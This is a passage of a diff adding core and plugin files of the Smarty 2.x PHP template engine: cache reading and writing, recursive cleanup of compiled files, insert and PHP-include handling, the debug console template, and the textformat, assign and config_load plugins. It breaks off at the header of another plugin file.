+ call_user_func_array($smarty->cache_handler_func,
+ array('read', &$smarty, &$params['results'], $params['tpl_file'], $params['cache_id'], $params['compile_id'], null));
+ } else {
+ // use local cache file
+ $_auto_id = $smarty->_get_auto_id($params['cache_id'], $params['compile_id']);
+ $_cache_file = $smarty->_get_auto_filename($smarty->cache_dir, $params['tpl_file'], $_auto_id);
+ $params['results'] = $smarty->_read_file($_cache_file);
+ }
+
+ if (empty($params['results'])) {
+ // nothing to parse (error?), regenerate cache
+ return false;
+ }
+
+ $cache_split = explode("\n", $params['results'], 2);
+ $cache_header = $cache_split[0];
+
+ $_cache_info = unserialize($cache_header);
+
+ if ($smarty->caching == 2 && isset ($_cache_info['expires'])){
+ // caching by expiration time
+ if ($_cache_info['expires'] > -1 && (time() > $_cache_info['expires'])) {
+ // cache expired, regenerate
+ return false;
+ }
+ } else {
+ // caching by lifetime
+ if ($smarty->cache_lifetime > -1 && (time() - $_cache_info['timestamp'] > $smarty->cache_lifetime)) {
+ // cache expired, regenerate
+ return false;
+ }
+ }
+
+ if ($smarty->compile_check) {
+ $_params = array('get_source' => false, 'quiet'=>true);
+ foreach (array_keys($_cache_info['template']) as $_template_dep) {
+ $_params['resource_name'] = $_template_dep;
+ if (!$smarty->_fetch_resource_info($_params) || $_cache_info['timestamp'] < $_params['resource_timestamp']) {
+ // template file has changed, regenerate cache
+ return false;
+ }
+ }
+
+ if (isset($_cache_info['config'])) {
+ $_params = array('resource_base_path' => $smarty->config_dir, 'get_source' => false, 'quiet'=>true);
+ foreach (array_keys($_cache_info['config']) as $_config_dep) {
+ $_params['resource_name'] = $_config_dep;
+ if (!$smarty->_fetch_resource_info($_params) || $_cache_info['timestamp'] < $_params['resource_timestamp']) {
+ // config file has changed, regenerate cache
+ return false;
+ }
+ }
+ }
+ }
+
+ foreach ($_cache_info['cache_serials'] as $_include_file_path=>$_cache_serial) {
+ if (empty($smarty->_cache_serials[$_include_file_path])) {
+ $smarty->_include($_include_file_path, true);
+ }
+
+ if ($smarty->_cache_serials[$_include_file_path] != $_cache_serial) {
+ /* regenerate */
+ return false;
+ }
+ }
+ $params['results'] = $cache_split[1];
+ $content_cache[$params['tpl_file'].','.$params['cache_id'].','.$params['compile_id']] = array($params['results'], $_cache_info);
+
+ $smarty->_cache_info = $_cache_info;
+ return true;
+}
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * delete an automagically created file by name and id
+ *
+ * @param string $auto_base
+ * @param string $auto_source
+ * @param string $auto_id
+ * @param integer $exp_time
+ * @return boolean
+ */
+
+// $auto_base, $auto_source = null, $auto_id = null, $exp_time = null
+
+function smarty_core_rm_auto($params, &$smarty)
+{
+ if (!@is_dir($params['auto_base']))
+ return false;
+
+ if(!isset($params['auto_id']) && !isset($params['auto_source'])) {
+ $_params = array(
+ 'dirname' => $params['auto_base'],
+ 'level' => 0,
+ 'exp_time' => $params['exp_time']
+ );
+ require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.rmdir.php');
+ $_res = smarty_core_rmdir($_params, $smarty);
+ } else {
+ $_tname = $smarty->_get_auto_filename($params['auto_base'], $params['auto_source'], $params['auto_id']);
+
+ if(isset($params['auto_source'])) {
+ if (isset($params['extensions'])) {
+ $_res = false;
+ foreach ((array)$params['extensions'] as $_extension)
+ $_res |= $smarty->_unlink($_tname.$_extension, $params['exp_time']);
+ } else {
+ $_res = $smarty->_unlink($_tname, $params['exp_time']);
+ }
+ } elseif ($smarty->use_sub_dirs) {
+ $_params = array(
+ 'dirname' => $_tname,
+ 'level' => 1,
+ 'exp_time' => $params['exp_time']
+ );
+ require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.rmdir.php');
+ $_res = smarty_core_rmdir($_params, $smarty);
+ } else {
+ // remove matching file names
+ $_handle = opendir($params['auto_base']);
+ $_res = true;
+ while (false !== ($_filename = readdir($_handle))) {
+ if($_filename == '.' || $_filename == '..') {
+ continue;
+ } elseif (substr($params['auto_base'] . DIRECTORY_SEPARATOR . $_filename, 0, strlen($_tname)) == $_tname) {
+ $_res &= (bool)$smarty->_unlink($params['auto_base'] . DIRECTORY_SEPARATOR . $_filename, $params['exp_time']);
+ }
+ }
+ }
+ }
+
+ return $_res;
+}
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * delete a dir recursively (level=0 -> keep root)
+ * WARNING: no tests, it will try to remove what you tell it!
+ *
+ * @param string $dirname
+ * @param integer $level
+ * @param integer $exp_time
+ * @return boolean
+ */
+
+// $dirname, $level = 1, $exp_time = null
+
+function smarty_core_rmdir($params, &$smarty)
+{
+ if(!isset($params['level'])) { $params['level'] = 1; }
+ if(!isset($params['exp_time'])) { $params['exp_time'] = null; }
+
+ if($_handle = @opendir($params['dirname'])) {
+
+ while (false !== ($_entry = readdir($_handle))) {
+ if ($_entry != '.' && $_entry != '..') {
+ if (@is_dir($params['dirname'] . DIRECTORY_SEPARATOR . $_entry)) {
+ $_params = array(
+ 'dirname' => $params['dirname'] . DIRECTORY_SEPARATOR . $_entry,
+ 'level' => $params['level'] + 1,
+ 'exp_time' => $params['exp_time']
+ );
+ require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.rmdir.php');
+ smarty_core_rmdir($_params, $smarty);
+ }
+ else {
+ $smarty->_unlink($params['dirname'] . DIRECTORY_SEPARATOR . $_entry, $params['exp_time']);
+ }
+ }
+ }
+ closedir($_handle);
+ }
+
+ if ($params['level']) {
+ return @rmdir($params['dirname']);
+ }
+ return (bool)$_handle;
+
+}
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * Handle insert tags
+ *
+ * @param array $args
+ * @return string
+ */
+function smarty_core_run_insert_handler($params, &$smarty)
+{
+
+ require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.get_microtime.php');
+ if ($smarty->debugging) {
+ $_params = array();
+ $_debug_start_time = smarty_core_get_microtime($_params, $smarty);
+ }
+
+ if ($smarty->caching) {
+ $_arg_string = serialize($params['args']);
+ $_name = $params['args']['name'];
+ if (!isset($smarty->_cache_info['insert_tags'][$_name])) {
+ $smarty->_cache_info['insert_tags'][$_name] = array('insert',
+ $_name,
+ $smarty->_plugins['insert'][$_name][1],
+ $smarty->_plugins['insert'][$_name][2],
+ !empty($params['args']['script']) ? true : false);
+ }
+ return $smarty->_smarty_md5."{insert_cache $_arg_string}".$smarty->_smarty_md5;
+ } else {
+ if (isset($params['args']['script'])) {
+ $_params = array('resource_name' => $smarty->_dequote($params['args']['script']));
+ require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.get_php_resource.php');
+ if(!smarty_core_get_php_resource($_params, $smarty)) {
+ return false;
+ }
+
+ if ($_params['resource_type'] == 'file') {
+ $smarty->_include($_params['php_resource'], true);
+ } else {
+ $smarty->_eval($_params['php_resource']);
+ }
+ unset($params['args']['script']);
+ }
+
+ $_funcname = $smarty->_plugins['insert'][$params['args']['name']][0];
+ $_content = $_funcname($params['args'], $smarty);
+ if ($smarty->debugging) {
+ $_params = array();
+ require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.get_microtime.php');
+ $smarty->_smarty_debug_info[] = array('type' => 'insert',
+ 'filename' => 'insert_'.$params['args']['name'],
+ 'depth' => $smarty->_inclusion_depth,
+ 'exec_time' => smarty_core_get_microtime($_params, $smarty) - $_debug_start_time);
+ }
+
+ if (!empty($params['args']["assign"])) {
+ $smarty->assign($params['args']["assign"], $_content);
+ } else {
+ return $_content;
+ }
+ }
+}
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * called for included php files within templates
+ *
+ * @param string $smarty_file
+ * @param string $smarty_assign variable to assign the included template's
+ * output into
+ * @param boolean $smarty_once uses include_once if this is true
+ * @param array $smarty_include_vars associative array of vars from
+ * {include file="blah" var=$var}
+ */
+
+// $file, $assign, $once, $_smarty_include_vars
+
+function smarty_core_smarty_include_php($params, &$smarty)
+{
+ $_params = array('resource_name' => $params['smarty_file']);
+ require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.get_php_resource.php');
+ smarty_core_get_php_resource($_params, $smarty);
+ $_smarty_resource_type = $_params['resource_type'];
+ $_smarty_php_resource = $_params['php_resource'];
+
+ if (!empty($params['smarty_assign'])) {
+ ob_start();
+ if ($_smarty_resource_type == 'file') {
+ $smarty->_include($_smarty_php_resource, $params['smarty_once'], $params['smarty_include_vars']);
+ } else {
+ $smarty->_eval($_smarty_php_resource, $params['smarty_include_vars']);
+ }
+ $smarty->assign($params['smarty_assign'], ob_get_contents());
+ ob_end_clean();
+ } else {
+ if ($_smarty_resource_type == 'file') {
+ $smarty->_include($_smarty_php_resource, $params['smarty_once'], $params['smarty_include_vars']);
+ } else {
+ $smarty->_eval($_smarty_php_resource, $params['smarty_include_vars']);
+ }
+ }
+}
+
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * Prepend the cache information to the cache file
+ * and write it
+ *
+ * @param string $tpl_file
+ * @param string $cache_id
+ * @param string $compile_id
+ * @param string $results
+ * @return true|null
+ */
+
+ // $tpl_file, $cache_id, $compile_id, $results
+
+function smarty_core_write_cache_file($params, &$smarty)
+{
+
+ // put timestamp in cache header
+ $smarty->_cache_info['timestamp'] = time();
+ if ($smarty->cache_lifetime > -1){
+ // expiration set
+ $smarty->_cache_info['expires'] = $smarty->_cache_info['timestamp'] + $smarty->cache_lifetime;
+ } else {
+ // cache will never expire
+ $smarty->_cache_info['expires'] = -1;
+ }
+
+ // collapse {nocache...}-tags
+ $params['results'] = preg_replace('!((\{nocache\:([0-9a-f]{32})#(\d+)\})'
+ .'.*'
+ .'{/nocache\:\\3#\\4\})!Us'
+ ,'\\2'
+ ,$params['results']);
+ $smarty->_cache_info['cache_serials'] = $smarty->_cache_serials;
+
+ // prepend the cache header info into cache file
+ $params['results'] = serialize($smarty->_cache_info)."\n".$params['results'];
+
+ if (!empty($smarty->cache_handler_func)) {
+ // use cache_handler function
+ call_user_func_array($smarty->cache_handler_func,
+ array('write', &$smarty, &$params['results'], $params['tpl_file'], $params['cache_id'], $params['compile_id'], null));
+ } else {
+ // use local cache file
+
+ if(!@is_writable($smarty->cache_dir)) {
+ // cache_dir not writable, see if it exists
+ if(!@is_dir($smarty->cache_dir)) {
+ $smarty->trigger_error('the $cache_dir \'' . $smarty->cache_dir . '\' does not exist, or is not a directory.', E_USER_ERROR);
+ return false;
+ }
+ $smarty->trigger_error('unable to write to $cache_dir \'' . realpath($smarty->cache_dir) . '\'. Be sure $cache_dir is writable by the web server user.', E_USER_ERROR);
+ return false;
+ }
+
+ $_auto_id = $smarty->_get_auto_id($params['cache_id'], $params['compile_id']);
+ $_cache_file = $smarty->_get_auto_filename($smarty->cache_dir, $params['tpl_file'], $_auto_id);
+ $_params = array('filename' => $_cache_file, 'contents' => $params['results'], 'create_dirs' => true);
+ require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.write_file.php');
+ smarty_core_write_file($_params, $smarty);
+ return true;
+ }
+}
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * Extract non-cacheable parts out of compiled template and write it
+ *
+ * @param string $compile_path
+ * @param string $template_compiled
+ * @param integer $template_timestamp
+ * @return boolean
+ */
+
+function smarty_core_write_compiled_include($params, &$smarty)
+{
+ $_tag_start = 'if \(\$this->caching\) \{ echo \'\{nocache\:('.$params['cache_serial'].')#(\d+)\}\';\}';
+ $_tag_end = 'if \(\$this->caching\) \{ echo \'\{/nocache\:(\\2)#(\\3)\}\';\}';
+
+ preg_match_all('!('.$_tag_start.'(.*)'.$_tag_end.')!Us',
+ $params['compiled_content'], $_match_source, PREG_SET_ORDER);
+
+ // no nocache-parts found: done
+ if (count($_match_source)==0) return;
+
+ // convert the matched php-code to functions
+ $_include_compiled = "<?php /* funky header here */\n\n";
+
+ $_compile_path = $params['include_file_path'];
+
+ $smarty->_cache_serials[$_compile_path] = $params['cache_serial'];
+ $_include_compiled .= "\$this->_cache_serials['".$_compile_path."'] = '".$params['cache_serial']."';\n\n?>";
+
+ $_include_compiled .= $params['plugins_code'];
+ $_include_compiled .= "<?php";
+ for ($_i = 0, $_for_max = count($_match_source); $_i < $_for_max; $_i++) {
+ $_match =& $_match_source[$_i];
+ $_include_compiled .= "
+function _smarty_tplfunc_$_match[2]_$_match[3](&\$this)
+{
+$_match[4]
+}
+
+";
+ }
+ $_include_compiled .= "\n\n?>\n";
+
+ $_params = array('filename' => $_compile_path,
+ 'contents' => $_include_compiled, 'create_dirs' => true);
+
+ require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.write_file.php');
+ smarty_core_write_file($_params, $smarty);
+ return true;
+}
+
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * write the compiled resource
+ *
+ * @param string $compile_path
+ * @param string $compiled_content
+ * @param integer $resource_timestamp
+ * @return true
+ */
+function smarty_core_write_compiled_resource($params, &$smarty)
+{
+ if(!@is_writable($smarty->compile_dir)) {
+ // compile_dir not writable, see if it exists
+ if(!@is_dir($smarty->compile_dir)) {
+ $smarty->trigger_error('the $compile_dir \'' . $smarty->compile_dir . '\' does not exist, or is not a directory.', E_USER_ERROR);
+ return false;
+ }
+ $smarty->trigger_error('unable to write to $compile_dir \'' . realpath($smarty->compile_dir) . '\'. Be sure $compile_dir is writable by the web server user.', E_USER_ERROR);
+ return false;
+ }
+
+ $_params = array('filename' => $params['compile_path'], 'timestamp'=>$params['resource_timestamp'], 'contents' => $params['compiled_content'], 'create_dirs' => true);
+ require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.write_file.php');
+ smarty_core_write_file($_params, $smarty);
+ return true;
+}
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * write out a file to disk
+ *
+ * @param string $filename
+ * @param string $contents
+ * @param boolean $create_dirs
+ * @return boolean
+ */
+function smarty_core_write_file($params, &$smarty)
+{
+ $_dirname = dirname($params['filename']);
+
+ if ($params['create_dirs']) {
+ $_params = array('dir' => $_dirname);
+ require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.create_dir_structure.php');
+ smarty_core_create_dir_structure($_params, $smarty);
+ }
+
+ // write to tmp file, then rename it to avoid
+ // file locking race condition
+ $_tmp_file = $_dirname . DIRECTORY_SEPARATOR . uniqid('');
+
+ if (!($fd = @fopen($_tmp_file, 'w'))) {
+ $smarty->trigger_error("problem writing temporary file '$_tmp_file'");
+ return false;
+ }
+
+ fwrite($fd, $params['contents']);
+ if (isset($params['timestamp'])) {
+ touch($_tmp_file, $params['timestamp']);
+ }
+ fclose($fd);
+ if(file_exists($params['filename'])) {
+ @unlink($params['filename']);
+ }
+ @rename($_tmp_file, $params['filename']);
+ @chmod($params['filename'], $smarty->_file_perms);
+
+ return true;
+}
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+{* Smarty *}
+
+{* debug.tpl, last updated version 2.0.1 *}
+
+{assign_debug_info}
+
+{if isset($_smarty_debug_output) and $_smarty_debug_output eq "html"}
+ <table border=0 width=100%>
+ <tr bgcolor=#cccccc><th colspan=2>Smarty Debug Console</th></tr>
+ <tr bgcolor=#cccccc><td colspan=2><b>included templates & config files (load time in seconds):</b></td></tr>
+ {section name=templates loop=$_debug_tpls}
+ <tr bgcolor={if %templates.index% is even}#eeeeee{else}#fafafa{/if}><td colspan=2><tt>{section name=indent loop=$_debug_tpls[templates].depth} {/section}<font color={if $_debug_tpls[templates].type eq "template"}brown{elseif $_debug_tpls[templates].type eq "insert"}black{else}green{/if}>{$_debug_tpls[templates].filename|escape:html}</font>{if isset($_debug_tpls[templates].exec_time)} <font size=-1><i>({$_debug_tpls[templates].exec_time|string_format:"%.5f"}){if %templates.index% eq 0} (total){/if}</i></font>{/if}</tt></td></tr>
+ {sectionelse}
+ <tr bgcolor=#eeeeee><td colspan=2><tt><i>no templates included</i></tt></td></tr>
+ {/section}
+ <tr bgcolor=#cccccc><td colspan=2><b>assigned template variables:</b></td></tr>
+ {section name=vars loop=$_debug_keys}
+ <tr bgcolor={if %vars.index% is even}#eeeeee{else}#fafafa{/if}><td valign=top><tt><font color=blue>{ldelim}${$_debug_keys[vars]}{rdelim}</font></tt></td><td nowrap><tt><font color=green>{$_debug_vals[vars]|@debug_print_var}</font></tt></td></tr>
+ {sectionelse}
+ <tr bgcolor=#eeeeee><td colspan=2><tt><i>no template variables assigned</i></tt></td></tr>
+ {/section}
+ <tr bgcolor=#cccccc><td colspan=2><b>assigned config file variables (outer template scope):</b></td></tr>
+ {section name=config_vars loop=$_debug_config_keys}
+ <tr bgcolor={if %config_vars.index% is even}#eeeeee{else}#fafafa{/if}><td valign=top><tt><font color=maroon>{ldelim}#{$_debug_config_keys[config_vars]}#{rdelim}</font></tt></td><td><tt><font color=green>{$_debug_config_vals[config_vars]|@debug_print_var}</font></tt></td></tr>
+ {sectionelse}
+ <tr bgcolor=#eeeeee><td colspan=2><tt><i>no config vars assigned</i></tt></td></tr>
+ {/section}
+ </table>
+</BODY></HTML>
+{else}
+<SCRIPT language=javascript>
+ if( self.name == '' ) {ldelim}
+ var title = 'Console';
+ {rdelim}
+ else {ldelim}
+ var title = 'Console_' + self.name;
+ {rdelim}
+ _smarty_console = window.open("",title.value,"width=680,height=600,resizable,scrollbars=yes");
+ _smarty_console.document.write("<HTML><TITLE>Smarty Debug Console_"+self.name+"</TITLE><BODY bgcolor=#ffffff>");
+ _smarty_console.document.write("<table border=0 width=100%>");
+ _smarty_console.document.write("<tr bgcolor=#cccccc><th colspan=2>Smarty Debug Console</th></tr>");
+ _smarty_console.document.write("<tr bgcolor=#cccccc><td colspan=2><b>included templates & config files (load time in seconds):</b></td></tr>");
+ {section name=templates loop=$_debug_tpls}
+ _smarty_console.document.write("<tr bgcolor={if %templates.index% is even}#eeeeee{else}#fafafa{/if}><td colspan=2><tt>{section name=indent loop=$_debug_tpls[templates].depth} {/section}<font color={if $_debug_tpls[templates].type eq "template"}brown{elseif $_debug_tpls[templates].type eq "insert"}black{else}green{/if}>{$_debug_tpls[templates].filename|escape:html|escape:javascript}</font>{if isset($_debug_tpls[templates].exec_time)} <font size=-1><i>({$_debug_tpls[templates].exec_time|string_format:"%.5f"}){if %templates.index% eq 0} (total){/if}</i></font>{/if}</tt></td></tr>");
+ {sectionelse}
+ _smarty_console.document.write("<tr bgcolor=#eeeeee><td colspan=2><tt><i>no templates included</i></tt></td></tr>");
+ {/section}
+ _smarty_console.document.write("<tr bgcolor=#cccccc><td colspan=2><b>assigned template variables:</b></td></tr>");
+ {section name=vars loop=$_debug_keys}
+ _smarty_console.document.write("<tr bgcolor={if %vars.index% is even}#eeeeee{else}#fafafa{/if}><td valign=top><tt><font color=blue>{ldelim}${$_debug_keys[vars]}{rdelim}</font></tt></td><td nowrap><tt><font color=green>{$_debug_vals[vars]|@debug_print_var|escape:javascript}</font></tt></td></tr>");
+ {sectionelse}
+ _smarty_console.document.write("<tr bgcolor=#eeeeee><td colspan=2><tt><i>no template variables assigned</i></tt></td></tr>");
+ {/section}
+ _smarty_console.document.write("<tr bgcolor=#cccccc><td colspan=2><b>assigned config file variables (outer template scope):</b></td></tr>");
+ {section name=config_vars loop=$_debug_config_keys}
+ _smarty_console.document.write("<tr bgcolor={if %config_vars.index% is even}#eeeeee{else}#fafafa{/if}><td valign=top><tt><font color=maroon>{ldelim}#{$_debug_config_keys[config_vars]}#{rdelim}</font></tt></td><td><tt><font color=green>{$_debug_config_vals[config_vars]|@debug_print_var|escape:javascript}</font></tt></td></tr>");
+ {sectionelse}
+ _smarty_console.document.write("<tr bgcolor=#eeeeee><td colspan=2><tt><i>no config vars assigned</i></tt></td></tr>");
+ {/section}
+ _smarty_console.document.write("</table>");
+ _smarty_console.document.write("</BODY></HTML>");
+ _smarty_console.document.close();
+</SCRIPT>
+{/if}
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * Smarty {textformat}{/textformat} block plugin
+ *
+ * Type: block function<br>
+ * Name: textformat<br>
+ * Purpose: format text a certain way with preset styles
+ * or custom wrap/indent settings<br>
+ * @link http://smarty.php.net/manual/en/language.function.textformat.php {textformat}
+ * (Smarty online manual)
+ * @param array
+ * <pre>
+ * Params: style: string (email)
+ * indent: integer (0)
+ * wrap: integer (80)
+ * wrap_char string ("\n")
+ * indent_char: string (" ")
+ * wrap_boundary: boolean (true)
+ * </pre>
+ * @param string contents of the block
+ * @param Smarty clever simulation of a method
+ * @return string string $content re-formatted
+ */
+function smarty_block_textformat($params, $content, &$smarty)
+{
+ if (is_null($content)) {
+ return;
+ }
+
+ $style = null;
+ $indent = 0;
+ $indent_first = 0;
+ $indent_char = ' ';
+ $wrap = 80;
+ $wrap_char = "\n";
+ $wrap_cut = false;
+ $assign = null;
+
+ foreach ($params as $_key => $_val) {
+ switch ($_key) {
+ case 'style':
+ case 'indent_char':
+ case 'wrap_char':
+ case 'assign':
+ $$_key = (string)$_val;
+ break;
+
+ case 'indent':
+ case 'indent_first':
+ case 'wrap':
+ $$_key = (int)$_val;
+ break;
+
+ case 'wrap_cut':
+ $$_key = (bool)$_val;
+ break;
+
+ default:
+ $smarty->trigger_error("textformat: unknown attribute '$_key'");
+ }
+ }
+
+ if ($style == 'email') {
+ $wrap = 72;
+ }
+
+ // split into paragraphs
+ $paragraphs = preg_split('![\r\n][\r\n]!',$content);
+ $output = '';
+
+ foreach ($paragraphs as $paragraph) {
+ if ($paragraph == '') {
+ continue;
+ }
+ // convert mult. spaces & special chars to single space
+ $paragraph = preg_replace(array('!\s+!','!(^\s+)|(\s+$)!'),array(' ',''),$paragraph);
+ // indent first line
+ if($indent_first > 0) {
+ $paragraph = str_repeat($indent_char,$indent_first) . $paragraph;
+ }
+ // wordwrap sentences
+ $paragraph = wordwrap($paragraph, $wrap - $indent, $wrap_char, $wrap_cut);
+ // indent lines
+ if($indent > 0) {
+ $paragraph = preg_replace('!^!m',str_repeat($indent_char,$indent),$paragraph);
+ }
+ $output .= $paragraph . $wrap_char . $wrap_char;
+ }
+
+ if ($assign) {
+ $smarty->assign($assign,$output);
+ } else {
+ return $output;
+ }
+}
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+<?php
+
+/**
+ * Smarty {assign} compiler function plugin
+ *
+ * Type: compiler function<br>
+ * Name: assign<br>
+ * Purpose: assign a value to a template variable
+ * @link http://smarty.php.net/manual/en/language.custom.functions.php#LANGUAGE.FUNCTION.ASSIGN {assign}
+ * (Smarty online manual)
+ * @param string containing var-attribute and value-attribute
+ * @param Smarty_Compiler
+ */
+function smarty_compiler_assign($tag_attrs, &$compiler)
+{
+ $_params = $compiler->_parse_attrs($tag_attrs);
+
+ if (!isset($_params['var'])) {
+ $compiler->_syntax_error("assign: missing 'var' parameter", E_USER_WARNING);
+ return;
+ }
+
+ if (!isset($_params['value'])) {
+ $compiler->_syntax_error("assign: missing 'value' parameter", E_USER_WARNING);
+ return;
+ }
+
+ return "\$this->assign({$_params['var']}, {$_params['value']});";
+}
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * Smarty {assign_debug_info} function plugin
+ *
+ * Type: function<br>
+ * Name: assign_debug_info<br>
+ * Purpose: assign debug info to the template<br>
+ * @param array unused in this plugin, this plugin uses {@link Smarty::$_config},
+ * {@link Smarty::$_tpl_vars} and {@link Smarty::$_smarty_debug_info}
+ * @param Smarty
+ */
+function smarty_function_assign_debug_info($params, &$smarty)
+{
+ $assigned_vars = $smarty->_tpl_vars;
+ ksort($assigned_vars);
+ if (@is_array($smarty->_config[0])) {
+ $config_vars = $smarty->_config[0];
+ ksort($config_vars);
+ $smarty->assign("_debug_config_keys", array_keys($config_vars));
+ $smarty->assign("_debug_config_vals", array_values($config_vars));
+ }
+
+ $included_templates = $smarty->_smarty_debug_info;
+
+ $smarty->assign("_debug_keys", array_keys($assigned_vars));
+ $smarty->assign("_debug_vals", array_values($assigned_vars));
+
+ $smarty->assign("_debug_tpls", $included_templates);
+}
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * Smarty {config_load} function plugin
+ *
+ * Type: function<br>
+ * Name: config_load<br>
+ * Purpose: load config file vars
+ * @link http://smarty.php.net/manual/en/language.function.config.load.php {config_load}
+ * (Smarty online manual)
+ * @param array Format:
+ * <pre>
+ * array('file' => required config file name,
+ * 'section' => optional config file section to load
+ * 'scope' => local/parent/global
+ * 'global' => overrides scope, setting to parent if true)
+ * </pre>
+ * @param Smarty
+ */
+function smarty_function_config_load($params, &$smarty)
+{
+ if ($smarty->debugging) {
+ $_params = array();
+ require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.get_microtime.php');
+ $_debug_start_time = smarty_core_get_microtime($_params, $smarty);
+ }
+
+ $_file = isset($params['file']) ? $smarty->_dequote($params['file']) : null;
+ $_section = isset($params['section']) ? $smarty->_dequote($params['section']) : null;
+ $_scope = isset($params['scope']) ? $smarty->_dequote($params['scope']) : 'global';
+ $_global = isset($params['global']) ? $smarty->_dequote($params['global']) : false;
+
+ if (!isset($_file) || strlen($_file) == 0) {
+ $smarty->trigger_error("missing 'file' attribute in config_load tag", E_USER_ERROR, __FILE__, __LINE__);
+ }
+
+ if (isset($_scope)) {
+ if ($_scope != 'local' &&
+ $_scope != 'parent' &&
+ $_scope != 'global') {
+ $smarty->trigger_error("invalid 'scope' attribute value", E_USER_ERROR, __FILE__, __LINE__);
+ }
+ } else {
+ if ($_global) {
+ $_scope = 'parent';
+ } else {
+ $_scope = 'local';
+ }
+ }
+
+ $_params = array('resource_name' => $_file, 'resource_base_path' => $smarty->config_dir);
+ $smarty->_parse_resource_name($_params);
+ $_file_path = $_params['resource_type'] . ':' . $_params['resource_name'];
+ if (isset($_section))
+ $_compile_file = $smarty->_get_compile_path($_file_path.'|'.$_section);
+ else
+ $_compile_file = $smarty->_get_compile_path($_file_path);
+
+ if($smarty->force_compile
+ || !file_exists($_compile_file)
+ || ($smarty->compile_check
+ && !$smarty->_is_compiled($_file_path, $_compile_file))) {
+ // compile config file
+ if(!is_object($smarty->_conf_obj)) {
+ require_once SMARTY_DIR . $smarty->config_class . '.class.php';
+ $smarty->_conf_obj = new $smarty->config_class();
+ $smarty->_conf_obj->overwrite = $smarty->config_overwrite;
+ $smarty->_conf_obj->booleanize = $smarty->config_booleanize;
+ $smarty->_conf_obj->read_hidden = $smarty->config_read_hidden;
+ $smarty->_conf_obj->fix_newlines = $smarty->config_fix_newlines;
+ }
+ $_params = array('resource_name' => $_file, 'resource_base_path' => $smarty->config_dir);
+ if (!$smarty->_fetch_resource_info($_params)) {
+ return;
+ }
+ $smarty->_conf_obj->set_file_contents($_file, $_params['source_content']);
+ $_config_vars = array_merge($smarty->_conf_obj->get($_file),
+ $smarty->_conf_obj->get($_file, $_section));
+ if(function_exists('var_export')) {
+ $_output = '<?php $_config_vars = ' . var_export($_config_vars, true) . '; ?>';
+ } else {
+ $_output = '<?php $_config_vars = unserialize(\'' . strtr(serialize($_config_vars),array('\''=>'\\\'', '\\'=>'\\\\')) . '\'); ?>';
+ }
+ $_params = (array('compile_path' => $_compile_file, 'compiled_content' => $_output, 'resource_timestamp' => $_params['resource_timestamp']));
+ require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.write_compiled_resource.php');
+ smarty_core_write_compiled_resource($_params, $smarty);
+ } else {
+ include($_compile_file);
+ }
+
+ if ($smarty->caching) {
+ $smarty->_cache_info['config'][$_file] = true;
+ }
+
+ $smarty->_config[0]['vars'] = @array_merge($smarty->_config[0]['vars'], $_config_vars);
+ $smarty->_config[0]['files'][$_file] = true;
+
+ if ($_scope == 'parent') {
+ $smarty->_config[1]['vars'] = @array_merge($smarty->_config[1]['vars'], $_config_vars);
+ $smarty->_config[1]['files'][$_file] = true;
+ } else if ($_scope == 'global') {
+ for ($i = 1, $for_max = count($smarty->_config); $i < $for_max; $i++) {
+ $smarty->_config[$i]['vars'] = @array_merge($smarty->_config[$i]['vars'], $_config_vars);
+ $smarty->_config[$i]['files'][$_file] = true;
+ }
+ }
+
+ if ($smarty->debugging) {
+ $_params = array();
+ require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.get_microtime.php');
+ $smarty->_smarty_debug_info[] = array('type' => 'config',
+ 'filename' => $_file.' ['.$_section.'] '.$_scope,
+ 'depth' => $smarty->_inclusion_depth,
+ 'exec_time' => smarty_core_get_microtime($_params, $smarty) - $_debug_start_time);
+ }
+
+}
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
